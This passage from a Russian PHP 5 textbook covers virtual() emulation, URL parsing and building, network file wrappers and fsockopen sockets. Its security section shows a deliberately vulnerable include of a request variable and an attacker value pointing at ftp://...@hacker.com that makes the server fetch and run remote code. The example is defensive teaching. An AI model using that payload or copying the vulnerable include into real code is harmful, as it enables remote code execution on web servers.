Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Котеров Д. В., Костарев А. Ф. - PHP 5. 2-е издание (В подлиннике) - 2008

.pdf
Скачиваний:
6114
Добавлен:
29.02.2016
Размер:
11.36 Mб
Скачать

444

Часть IV. Стандартные функции PHP

При использовании SSI-страниц конструкция <!--#include virtual="URL" --> загружает файл, URL которого указан у нее в параметрах, обрабатывает его нужным обработчиком и выводит в браузер. То есть все происходит так, будто указанный URL был затребован "виртуальным браузером". Большинство SSI-файлов ограничиваются использованием этой возможности.

int virtual(string $url)

Функция virtual() представляет собой процедуру, которая может поддерживаться только в случае, если PHP установлен как модуль Apache. Она делает то же самое, что и SSI-инструкция <!--#include virtual="..." -->. Иными словами, она генерирует новый запрос серверу, обрабатываемый им обычным образом, а затем выводит данные в стандартный поток вывода.

Чаще всего функция virtual() используется для запуска внешних CGI-сценариев, написанных на другом языке программирования, или же для обработки SSI-файлов более сложной структуры. В случае, если запускается сценарий, он должен генерировать правильные HTTP-заголовки, иначе будет выведено сообщение об ошибке.

Заметьте, что для включения обычных PHP-файлов (не являющихся законченными скриптами, а, например, содержащих набор функций) функция virtual() неприменима — используйте вместо нее оператор require_once.

Эмуляция функции virtual()

Функция virtual() работает только в том случае, если PHP установлен как модуль Apache. Проблемы начинаются, если это не так, и какой-то уже готовый сценарий интенсивно использует вызовы virtual(). Тогда мы должны будем либо переделать сценарий, либо написать эмуляцию для функции virtual() (благо в "сценарном" варианте PHP эта функция отсутствует, так что можно без оглядки на ключевые слова создать процедуру с именем virtual()). Вот как мы здесь поступим (листинг 25.4).

Листинг 25.4. Файл lib/virtual.php

<?php ## Эмуляция функции virtual(). if (!function_exists("virtual")) { // Условно определяемая функция

function virtual($url) {

$script_name = $_SERVER['SCRIPT_NAME']; $server = $_SERVER['HTTP_HOST']; // хост:порт // Преобразуем относительный URI в абсолютный. if ($url[0] != '/') {

// Адрес относительно КАТАЛОГА скрипта.

$dir = str_replace("\\", "/", dirname($script_name)); $url = substr($dir, -1)=="/"? $dir.$url : "$dir/$url";

}

Глава 25. Работа с HTTP и WWW

445

// Открываем соединение.

$f = @fopen("http://$server$url", "rb"); if (!$f) {

echo "[an error ocurred while processing this directive: $url]"; return false;

}

// Теперь просто читаем все и выводим с помощью echo. while (!feof($f)) echo fread($f, 10000);

fclose($f); return true;

}

}

#Пример использования:

#echo "<hr><hr>";

#virtual("..");

#echo "<hr><hr>";

?>

Обращаем ваше внимание на то, что используется не обычный вызов fopen(), а его сетевая разновидность, на что указывает префикс http:// в имени файла. Такой способ заставляет PHP выполнить запрос к серверу по протоколу HTTP для получения содержимого по указанному в скрипте URL. При этом передача данных происходит по протоколу TCP/IP (в данном случае — в пределах текущей машины), что связано с некоторыми дополнительными накладными расходами. Именно этими расходами мы руководствуемся, когда советуем вам не использовать без надобности функцию virtual(), если удается обойтись обычными файловыми функциями —

fopen() или file_get_contents().

Разбор URL

В PHP есть две функции, которые могут очень пригодиться при разборе или формировании URL некоторой страницы (например, для добавления новых параметров в QUERY_STRING некоторого URL). Сейчас мы их рассмотрим.

Разбиение и "склеивание" QUERY_STRING

void parse_str(string $str [, array $out])

Данная функция разбирает QUERY_STRING из параметра $str, составленную по правилам протокола HTTP. Результат разбора записывается в ассоциативный массив $out.

Те же самые действия выполняет PHP, когда разбирает данные, пришедшие из формы, только он записывает результат в $_GET и $_POST, а не в указанную переменную.

Почувствовать всю мощь данной функции позволит листинг 25.5.

Листинг 25.5. Файл parse_str.php

<?php ## Ручной разбор QUERY_STRING.

$str = "sullivan=paul&names[roy]=noni&names[read]=tom";

446

Часть IV. Стандартные функции PHP

parse_str($str, $out);

echo "<pre>"; print_r($out); echo "</pre>";

?>

Вот результат работы этого скрипта:

Array(

[sullivan] => paul

[names] => Array(

[roy] => noni

[read] => tom

)

)

Как видите, функция правильно обрабатывает не только обычные пары ключ=>значение, но также и массивы (в том числе и многомерные). Для реализации всего этого программным способом ушел бы не один десяток строк кода.

Если параметр $out при вызове функции не указан, то разобранные данные записываются в переменные с соответствующими именами. Например, в примере выше создались бы две переменные: $sullivan (скалярная) и $names (массив). Переменные создаются в текущем контексте, т. е. при вызове parse_str() из некоторой функции переменные станут локальными в пределах этой функции (соответственно, при вызове из глобального контекста они попадут в $GLOBALS и станут глобальными).

string http_build_query(array $data [, string $numericPrefix])

Данная функция появилась только в PHP 5. Она выполняет обратное действие по отношению к parse_str(), а именно — собирает QUERY_STRING по переданным ей данным в ассоциативном массиве $data. Эти две функции очень удобно использовать для модификации URL некоторых ссылок с тем, чтобы добавлять туда какиенибудь параметры (или модифицировать существующие). Чуть ниже мы рассмотрим комплексный пример использования функций, описанных в данном разделе.

Необязательный параметр $numericPrefix определяет префикс, который будет добавлен к имени параметра, если он изначально равен некоторому числу. Как вы знаете, в PHP нельзя создавать переменные вроде $01 или $303. С использованием $numericPrefix, равным, например, "N_", такие параметры будут выглядеть как N_01

или N_303.

Разбиение и "склеивание" URL

array parse_url(string $url)

Данная функция принимает на вход некоторый полный URL и разбирает его: выделяет имя протокола, адрес хоста и порт, URI и т. д. В результирующем ассоциативном массиве для каждого участка URL создаются свои элементы, полный список которых приведен ниже. Давайте возьмем URL

http://username:password@example.com:80/path?arg=value#anchor

Глава 25. Работа с HTTP и WWW

447

и рассмотрим, как функция parse_url() с ним поступит:

scheme: имя протокола (все, что идет до "://"), например, http;

host: имя хоста (идет непосредственно после "://"), например, example.com;

port: номер порта (если задан), например, 80;

user: имя пользователя, если оно указано; например, username;

pass: пароль пользователя, например, password;

path: путь — часто URI до первого "?", например, /path;

query: QUERY_STRING, например, arg=value;

fragment: имя HTML-якоря, например, anchor.

Нужно понимать, что функция устанавливает только те ключи в результирующем массиве, для которых в URL есть соответствующие участки. Например, для URL /some/path, который является на самом деле URI, в массиве окажется один-един- ственный элемент — path (угадайте, с каким значением). Номер порта, имя пользователя и его пароль также могут отсутствовать.

К сожалению, в PHP нет функции, обратной к parse_url(). В листинге 25.6 приведена программная реализация такой функции, которую вы можете использовать.

Листинг 25.6. Файл lib/http_build_url.php

<?php ## Составление URL по массиву параметров.

//Составляет URL по частям из массива $parsed.

//Функция обратна к parse_url().

function http_build_url($parsed) {

if (!is_array($parsed)) return false; // Задан протокол?

if (isset($parsed['scheme'])) {

$sep = (strtolower($parsed['scheme']) == 'mailto' ? ':' : '://'); $url = $parsed['scheme'] . $sep;

} else { $url = '';

}

//Задан пароль или имя пользователя? if (isset($parsed['pass'])) {

$url .= "$parsed[user]:$parsed[pass]@"; } elseif (isset($parsed['user'])) {

$url .= "$parsed[user]@";

}

//QUERY_STRING представлена в виде массива? if (@!is_scalar($parsed['query'])) {

//Преобразуем в строку.

$parsed['query'] = http_build_query($parsed['query']);

}

 

// Дальше составляем URL.

 

if (isset($parsed['host']))

$url .= $parsed['host'];

448

Часть IV. Стандартные функции PHP

if (isset($parsed['port']))

$url .= ":".$parsed['port'];

if (isset($parsed['path']))

$url .= $parsed['path'];

if (isset($parsed['query']))

$url .= "?".$parsed['query'];

if (isset($parsed['fragment'])) $url .= "#".$parsed['fragment'];

return $url;

}

?>

Пример

В листинге 25.7 приведен комплексный пример (но не обед) применения всех четырех описанных в данном разделе функций. Он показывает, как можно модифицировать строковое представление URL, каким бы сложным оно ни было. В части VII книги, когда будет обсуждаться изменение страницы "на лету", мы рассмотрим практическое применение данного кода.

Листинг 25.7. Файл modify_url.php

<?php ## Модификация части URL без изменения других его участков. require_once "lib/http_build_url.php";

// URL, с которым будем работать.

$url = "http://user@example.com:80/path?arg=value#anchor";

//Другие примеры, которые вы можете испробовать.

//$url = "/path?arg=value#anchor";

//$url = "thematrix.com";

//$url = "http://thematrix.com/#top"; # без '/' перед '#' не работает!

//Разбираем URL на части.

$parsed = parse_url($url);

//Разбираем одну из частей, QUERY_STRING, на элементы массива. parse_str(@$parsed['query'], $query);

//Добавляем новый элемент в массив QUERY_STRING.

$query['names']['read'] = 'tom';

//Собираем QUERY_STRING назад из массива. $parsed['query'] = http_build_query($query);

//Создаем результирующий URL.

$newurl = http_build_url($parsed); // Выводим результаты работы. echo "Старый URL: $url<br>";

echo "Новый: $newurl"; ?>

Результат работы программы таков:

Старый URL: http://user@example.com:80/path?arg=value#anchor

Новый: http://user@example.com:80/path?arg=value&names[read]=tom#anchor

Как видите, нам удалось добавить дополнительный параметр в URL, не задумываясь особенно, что в нем уже могут быть другие параметры (в том числе сложные, например, массивы), и что в URL может отсутствовать та или иная часть (например, имя хоста).

Глава 25. Работа с HTTP и WWW

449

Резюме

В данной главе мы рассмотрели несколько функций, позволяющих PHP-скрипту "чувствовать себя, как рыба в воде" в непростом мире World Wide Web. Самые распространенные на практике функции предназначены для работы с cookies, рангом пониже идет процедура Header() для вывода произвольных заголовков. Наконец, для эмуляции SSI в PHP-сценариях имеется функция virtual(). Мы также написали замену для последней функции, на случай, если вы используете PHP в виде CGIприложения, а не в виде модуля Apache. Мы также обсудили четыре функции для разбора и составления URL, которые могут пригодиться, например, при модификации готовых HTML-страниц.

ГЛАВА 26

Сетевые функции

Листинги данной главы можно найти в подкаталоге net.

Здесь мы рассмотрим некоторые сетевые функции, предоставляемые PHP. За более детальной информацией обращайтесь к сопроводительной документации.

Сеть и файловые функции

Файловые функции в PHP версий 4 и 5 имеют куда больше возможностей, чем мы рассматривали до сих пор. В частности, благодаря технологии STREAMS (Потоки) функции и директивы fopen(), file(), file_get_contents(), opendir(), include и все остальные способны работать не только с обычными файлами, но также и с внешними HTTP-адресами. Для этого достаточно передать им вместо имени файла (или каталога) URL, начинающийся с префикса схемы — http:// или ftp://.

Приведем несколько примеров в листинге 26.1.

Листинг 26.1. Файл wrap.php

<?php ## Пример работы с fopen wrappers. echo "<h1>Первая страница (HTTP):</h1>"; echo file_get_contents("http://php.net"); echo "<h1>Вторая страница (FTP):</h1>"; echo file_get_contents("ftp://ftp.aha.ru/"); ?>

В листинге 26.1 представлен скрипт, который запрашивает информацию с двух разных сайтов по протоколам HTTP и FTP и выводит результат на одной странице. Что может быть проще?

Если для подключения к FTP или HTTP необходимо указать имя входа и пароль, это делается следующим образом:

http://user:password@php.net/

http://user:password@ftp.aha.ru/pub/CPAN/CPAN.html

Глава 26. Сетевые функции

451

И, конечно, вы не ограничены использованием только file_get_contents(). Доступны также и остальные функции, включая fopen() и даже file_put_contents() (для FTP-протокола). Например, вот так вы можете скопировать файл на другую машину, где у вас есть учетная запись на FTP-сервере:

file_put_contents("ftp://user:pass@site.ru/f.txt", "This is my world!");

Проблемы безопасности

Если хостинг-провайдер использует директиву allow_url_fopen=Off в файле php.ini, сетевые возможности файловых функций будут запрещены. Иногда это делается в целях повышения безопасности.

В самом деле, рассмотрим такой оператор в неаккуратно написанном скрипте:

// Никогда так не делайте!

include $_REQUEST['dirname']."/header.php";

Если теперь хакер передаст в QUERY_STRING значение dirname= ftp://root:Z10N0101@hacker.com, то директива include подключит и запустит файл, расположенный на машине злоумышленника: ftp://root:Z10N0101@hacker.com /header.php. Но выполнится этот файл на вашем сервере. Таким образом, хакер может запустить любой код, который пожелает, на вашей машине.

Конечно, здесь приведен тривиальный пример — вряд ли кто-то будет передавать в директиву include путь, полученный непосредственно из аргументов скрипта. Тем не менее там могут быть использованы другие переменные, полученные из столь же ненадежных источников, что также открывает злоумышленнику легкий путь взлома сайта. Чтобы этого не произошло, старайтесь вообще не использовать никаких переменных в директивах include, require и т. д.

Другие схемы

В PHP существует механизм, который позволяет создавать свои собственные схемы в дополнение к встроенным схемам http:// и ftp://. Этот механизм называется STREAMS (Потоки). Например, вы можете написать код, заставляющий открывать RAR-архивы как обычные файлы, используя для этого вызов fopen("rar://path/to/file.rar", "r"). Чтобы добиться такого эффекта, применяются функции для работы с потоками. Их имена начинаются с префикса stream — например, stream_filter_register(), stream_context_create() и т. д.

К сожалению, объем книги не позволяет осветить эту тему достаточно подробно, поэтому воспользуйтесь документацией PHP: http://php.net/manual/ru/ref.stream.php, если хотите узнать больше о потоках.

Работа с сокетами

Только что мы обсуждали функцию fopen() и отметили, что ее можно использовать и для открытия сетевых соединений с файлами на других хостах в Сети. Однако

452

Часть IV. Стандартные функции PHP

функция fopen() позволяла работать лишь с содержимым файла. Но ведь по HTTP, кроме "тела" документа, передаются также некоторые заголовки, посланные сервером. "Добраться" до них всех и позволяет функция fsockopen().

int fsockopen(string $host, int $port [,int &$errno] [,string &$errstr])

Эта функция работает аналогично fopen(), но только устанавливает сетевое соединение с указанным хостом $host и программой, закрепленной на нем за портом $port. Она возвращает файловый дескриптор, с которым затем могут быть выполнены обычные операции: fread(), fwrite(), fgets(), feof() и т. д. В случае ошибки, как обычно, возвращается false и, если заданы параметры-переменные $errno и $errstr, в них записываются соответственно номер ошибки (не равный нулю) и текст сообщения об ошибке. Если функция вернула false, но $errno, тем не менее, сбросилась в 0, это скорее всего означает, что произошла ошибка инициализации сокета. Например, такое может случиться, если в Windows не установлен требуемый протокол TCP/IP.

Функция fsockopen() поддерживает и так называемые сокеты домена Unix, которые представляют собой в этой системе специальные файлы (наподобие каналов) и предназначены для обмена данными между приложениями в пределах одной машины. Для использования такого режима нужно установить $port в 0 и передать в $host имя файла сокета. Мы не будем останавливаться на этом режиме, т. к. он специфичен для ОС Unix и применяется весьма редко.

По умолчанию сокет (соединение) открывается в режиме чтения и записи, используя блокирующий режим передачи. Вы можете переключить режим в неблокирующий, если вызовете функцию socket_set_blocking() (см. разд. "Неблокирующее чтение" далее в этой главе).

"Эмуляция" браузера

В примере из листинга 26.2 мы "проэмулировали" браузер, послав в порт 80 удаленного хоста HTTP-запрос GET и получив весь ответ вместе с заголовками. Мы используем функцию htmlspecialchars(), чтобы вывести HTML-код документа в текстовом формате.

Листинг 26.2. Файл socket.php

<?php ## "Эмуляция" браузера.

//Соединяемся с Web-сервером localhost. Обратите внимание,

//что префикс "http://" не используется — информация о протоколе

//и так содержится в номере порта (80).

$fp = fsockopen("localhost", 80);

//Посылаем запрос главной страницы сервера. Конец строки

//в виде "\r\n" соответствует стандарту протокола HTTP. fputs($fp, "GET / HTTP/1.1\r\n");

//Посылаем обязательный для HTTP 1.1 заголовок Host. fputs($fp, "Host: localhost\r\n");

Глава 26. Сетевые функции

453

//Отключаем режим Keep-alive, что заставляет сервер СРАЗУ ЖЕ закрыть

//соединение после посылки ответа, а не ожидать следующего запроса.

//Попробуйте убрать эту строчку — и работа скрипта сильно замедлится. fputs($fp, "Connection: close\r\n");

//Конец заголовков.

fputs($fp, "\r\n");

//Теперь читаем по одной строке и выводим ответ. echo "<pre>";

while (!feof($fp))

echo htmlspecialchars(fgets($fp, 1000)); echo "</pre>";

//Отключаемся от сервера.

fclose($fp); ?>

Разумеется, никто не обязывает нас использовать именно 80-й порт. Даже наоборот: функция fsockopen() универсальна. Мы можем применять ее и для подключения к telnet-порту, и к FTP — словом, для чего угодно.

Обратите внимание, насколько код листинга 26.2 сложнее, чем аналогичная программа, использующая обычный вызов fopen(). Но в результате мы имеем больший контроль над обменом данными — в частности, можем отправлять и получать любые заголовки.

Неблокирующее чтение

int socket_set_blocking(int $sd, int $mode)

Эта функция устанавливает блокирующий или неблокирующий режим для соединения, открытого ранее при помощи функции fsockopen(). В режиме блокировки ($mode == true) функции чтения будут "засыпать", пока передача данных не завершится. Таким образом, если данных много, или же произошел какой-то "затор" в сети, ваша программа остановится и будет дожидаться выхода из функции чтения. В режиме запрета блокировки ($mode == false) функции наподобие fgets() будут сразу же возвращать управление в программу, даже если через соединение не было передано еще ни одного байта данных. Таким образом, считывается ровно столько информации, сколько доступно на данный момент. Определить, что данные кончились, можно с помощью функции feof(), как это было сделано в примере из листинга 26.2.

Функции для работы с DNS

Здесь мы рассмотрим несколько очень полезных функций для работы с DNS-сер- верами и IP-адресом.

Как было рассказано в гл. 1, для адресации машин в Интернете применяются два способа: указание IP-адреса хоста или указание его доменного имени. Каждому доменному имени может соответствовать сразу несколько IP-адресов, и наоборот: каждому IP-адресу — несколько имен.

Преобразованием доменных имен в IP-адреса (и наоборот, хотя в этом случае список выдаваемых имен может быть неполным) занимаются специальные DNS-сер-

Тут вы можете оставить комментарий к выбранному абзацу или сообщить об ошибке.

Оставленные комментарии видны всем.